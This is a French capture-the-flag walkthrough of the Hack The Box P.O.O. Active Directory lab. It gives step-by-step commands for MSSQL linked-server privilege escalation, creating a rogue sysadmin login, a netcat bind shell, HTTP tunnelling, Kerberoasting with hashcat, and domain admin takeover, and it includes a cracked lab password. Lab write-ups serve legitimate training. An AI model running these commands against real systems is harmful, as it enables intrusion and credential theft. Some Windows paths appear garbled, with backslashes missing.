Dans cet article, nous allons examiner non seulement la machine, mais également un mini-laboratoire complet. .
Comme indiqué dans la description, P.O.O. est conçu pour tester des compétences à toutes les étapes des attaques dans un petit environnement Active Directory. L'objectif est de compromettre un hôte accessible, d'élever les privilèges et, en fin de compte, de compromettre l'ensemble du domaine en rassemblant 5 drapeaux.
La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter depuis un ordinateur de travail ou depuis un hôte où se trouvent des données importantes, car vous entrez dans un réseau privé avec des personnes ayant des compétences en sécurité informatique 🙂.
Informations organisationnelles
Pour que vous puissiez être au courant des nouveaux articles, logiciels et autres informations, j'ai créé et dans le domaine de la sécurité informatique. De plus, vos demandes personnelles, questions, suggestions et recommandations .
Toutes les informations sont présentées uniquement à des fins éducatives. L'auteur de ce document ne saurait être tenu responsable de tout dommage causé à quiconque résultant de l'utilisation des connaissances et des méthodes acquises par l'étude de ce document.
Introduction
Ce endgame se compose de deux machines et contient 5 drapeaux.
Un descriptif et l'adresse de l'hôte accessible sont également fournis.
Commençons !
Recon flag
Cette machine a l'adresse IP 10.13.38.11, que j'ajoute à /etc/hosts.
10.13.38.11 poo.htb
Tout d'abord, nous scannons les ports ouverts. Comme scanner tous les ports avec nmap prend du temps, je vais d'abord le faire avec masscan. Nous scannons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 500 paquets par seconde.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Maintenant, pour obtenir des informations plus détaillées sur les services fonctionnant sur les ports, lançons un scan avec l'option -A.
nmap -A poo.htb -p80,1433 
Ainsi, nous avons les services IIS et MSSQL. De plus, nous découvrons le vrai nom DNS du domaine et de l'ordinateur. Le serveur web nous présente la page d'accueil IIS.
Passons aux répertoires. Pour cela, j'utilise gobuster. Dans les paramètres, j'indique le nombre de threads 128 (-t), l'URL (-u), le dictionnaire (-w) et les extensions qui nous intéressent (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Ainsi, nous avons l'authentification HTTP pour le répertoire /admin, ainsi qu'un fichier de stockage de service de bureau .DS_Store. .DS_Store est un fichier qui stocke les paramètres utilisateur pour le dossier, comme la liste des fichiers, l'emplacement des icônes et l'image d'arrière-plan choisie. Ce fichier peut se retrouver dans le répertoire du serveur web chez les développeurs web. Ainsi, nous pouvons obtenir des informations sur le contenu du répertoire. Pour cela, nous pouvons utiliser .
python3 dsstore_crawler.py -i http://poo.htb/ 
Nous récupérons le contenu du répertoire. Le plus intéressant ici est le répertoire /dev, depuis lequel nous pouvons voir les sources et les fichiers db sous deux branches. Mais nous pouvons lire les six premiers caractères des noms de fichiers et de répertoires si le service est vulnérable à IIS ShortName. Pour vérifier cette vulnérabilité, nous pouvons utiliser .
Et nous trouvons un fichier texte qui commence par « poo_co ». Ne sachant pas quoi faire ensuite, j'ai simplement extrait de mon dictionnaire de répertoires tous les mots commençant par « co ».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtEt nous allons passer en revue avec wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Et nous trouvons un mot approprié ! Nous examinons ce fichier, enregistrons les informations d'identification (à en juger par le paramètre DBNAME, elles proviennent de MSSQL).
Nous soumettons le flag et avançons de 20 %.
Huh flag
Nous nous connectons à MSSQL, j'utilise DBeaver.
Nous ne trouvons rien d'intéressant dans cette base, créons un Éditeur SQL et vérifions quels utilisateurs existent.
SELECT name FROM master..syslogins; 
Nous avons deux utilisateurs. Vérifions maintenant leurs privilèges.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Ainsi, nous n'avons aucun privilège. Regardons les serveurs associés, j'ai écrit en détail sur cette méthode .
SELECT * FROM master..sysservers; 
Ainsi, nous trouvons un autre SQL Server. Vérifions l'exécution des commandes sur ce serveur avec openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Et nous pouvons même construire un arbre de requêtes.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');En fait, lorsque nous effectuons une requête sur un serveur lié, cette requête s'exécute dans le contexte d'un autre utilisateur ! Voyons dans quel contexte nous travaillons sur le serveur lié.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Et maintenant, voyons dans quel contexte les requêtes du serveur lié s'exécutent sur le nôtre !
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Ainsi, c'est le contexte DBO, qui doit avoir tous les privilèges. Vérifions les privilèges dans le cas d'une requête en provenance du serveur lié.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Comme on peut le voir, nous avons tous les privilèges ! Créons un administrateur. Mais ne pouvons pas le faire via openquery, faisons-le via EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Et maintenant, nous nous connectons avec les identifiants du nouvel utilisateur, observons la nouvelle base de données flag.
Nous récupérons ce flag et avançons.
BackTrack flag
Obtenons un shell avec MSSQL, j'utilise mssqlclient du paquet impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Nous devons obtenir les mots de passe, et la première chose que nous avons déjà rencontrée, c'est le site. Ainsi, nous avons besoin de la configuration du serveur web (il semble que le firewall empêche de placer un shell pratique).
Mais l'accès est interdit. Bien que nous puissions lire un fichier depuis MSSQL, il suffit de savoir quels langages de programmation sont configurés. Et dans le répertoire MSSQL, nous apprenons qu'il y a Python.
Alors, il n'y a aucun problème à lire le fichier web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Avec les identifiants trouvés, nous accédons à /admin et récupérons le flag.
Foothold flag
En réalité, l'utilisation d'un pare-feu présente certains inconvénients, mais en passant en revue les paramètres réseau, nous remarquons qu'un tunneling IPv6 est également utilisé !
Ajoutons cette adresse à /etc/hosts.
dead:babe::1001 poo6.htb
Scannons à nouveau l'hôte, mais cette fois par le protocole IPv6.
Et le service WinRM est également disponible en IPv6. Connectons-nous avec les informations d'identification trouvées.
Il y a un drapeau sur le bureau, nous allons le remettre.
Drapeau P00ned
Après avoir fait du renseignement sur l'hôte en utilisant nous ne trouvons rien de spécial. Il a donc été décidé de chercher à nouveau des informations d'identification (j'ai également écrit à ce sujet ). Mais je n'ai pas réussi à obtenir tous les SPN du système via WinRM.
setspn.exe -T intranet.poo -Q *\* 
Exécutons la commande via MSSQL.
De cette façon, nous obtenons les SPN des utilisateurs p00_hr et p00_adm, ce qui signifie qu'ils sont vulnérables à une attaque comme le Kerberoasting. En résumé, nous pouvons obtenir les hachages de leurs mots de passe.
Tout d'abord, nous devons obtenir un shell stable en tant qu'utilisateur MSSQL. Mais comme notre accès est limité, nous avons un lien avec l'hôte uniquement via les ports 80 et 1433. Mais il est possible de faire du tunneling de trafic via le port 80 ! Pour cela, nous allons utiliser . Téléchargeons le fichier tunnel.aspx dans le répertoire home du serveur web — C:inetpubwwwroot.
Mais au moment d'y accéder, nous recevons une erreur 404. Cela signifie que les fichiers *.aspx ne sont pas exécutés. Pour que les fichiers avec cette extension soient exécutés, installons ASP.NET 4.5 comme suit.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
Et maintenant, lorsque nous accédons à tunnel.aspx, nous recevons une réponse indiquant que tout est prêt à fonctionner.
Lançons la partie cliente de l'application, qui s'occupera de la retransmission du trafic. Nous allons rediriger tout le trafic du port 5432 vers le serveur.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Et utilisons proxychains pour envoyer le trafic de n'importe quelle application via notre proxy. Ajoutons ce proxy dans le fichier de configuration /etc/proxychains.conf.
Maintenant, téléchargeons sur le serveur le programme , avec lequel nous allons établir un bind shell stable, et le script , avec lequel nous allons exécuter l'attaque Kerberoasting.
Maintenant, exécutons le listener via MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Et connectons-nous via notre proxy.
proxychains rlwrap nc poo.htb 4321 
Et récupérons les hachages.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Ensuite, nous devons casser ces hachages. Comme le dictionnaire rockyou ne contenait pas ces mots de passe, j'ai utilisé TOUS les dictionnaires de mots de passe fournis dans Seclists. Pour cela, utilisons hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceNous avons trouvé les deux mots de passe, le premier dans le dictionnaire dutch_passwordlist.txt et le deuxième dans Keyboard-Combinations.txt.
Nous avons donc trois utilisateurs, allons sur le contrôleur de domaine. Commençons par connaître son adresse.
Nous avons réussi à obtenir l'adresse IP du contrôleur de domaine. Découvrons tous les utilisateurs du domaine, ainsi que qui parmi eux est administrateur. Nous allons charger le script PowerView.ps1 pour obtenir ces informations. Ensuite, nous allons nous connecter avec evil-winrm, en spécifiant dans le paramètre -s le répertoire contenant le script. Ensuite, nous allons simplement charger le script PowerView.
Maintenant, toutes les fonctionnalités sont à notre disposition. L'utilisateur p00_adm semble être privilégié, nous allons donc travailler dans son contexte. Créons un objet PSCredential pour cet utilisateur.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassMaintenant, toutes les commandes PowerShell où nous spécifions Creds seront exécutées au nom de p00_adm. Affichons la liste des utilisateurs et l'attribut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Ainsi, notre utilisateur est effectivement privilégié. Voyons dans quels groupes il se trouve.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Nous confirmons donc que l'utilisateur est administrateur du domaine. Cela lui donne le droit d'accès à distance au contrôleur de domaine. Essayons de nous connecter via WinRM en utilisant notre tunnel. J'ai été dérangé par les erreurs générées par reGeorg lors de l'utilisation d'evil-winrm.
Utilisons alors un autre moyen, plus simple, pour nous connecter à WinRM. Ouvrons et modifions les paramètres de connexion.
Essayons de nous connecter, et nous sommes dans le système.
Mais il n'y a pas de drapeau. Regardons alors les utilisateurs et vérifions les bureaux.
Chez mr3ks, nous trouvons le drapeau et le laboratoire est réussi à 100%.
Voilà, c'est tout. En guise de retour, merci de commenter — avez-vous appris quelque chose de nouveau dans cet article, et a-t-il été utile ?
Vous pouvez nous rejoindre dans . Là, vous trouverez des matériaux intéressants, des cours partagés, ainsi que des logiciels. Rassemblons une communauté de personnes qui comprennent divers domaines de l'IT, afin que nous puissions toujours nous entraider sur toutes les questions d'IT et de sécurité informatique.
Source : habr.com
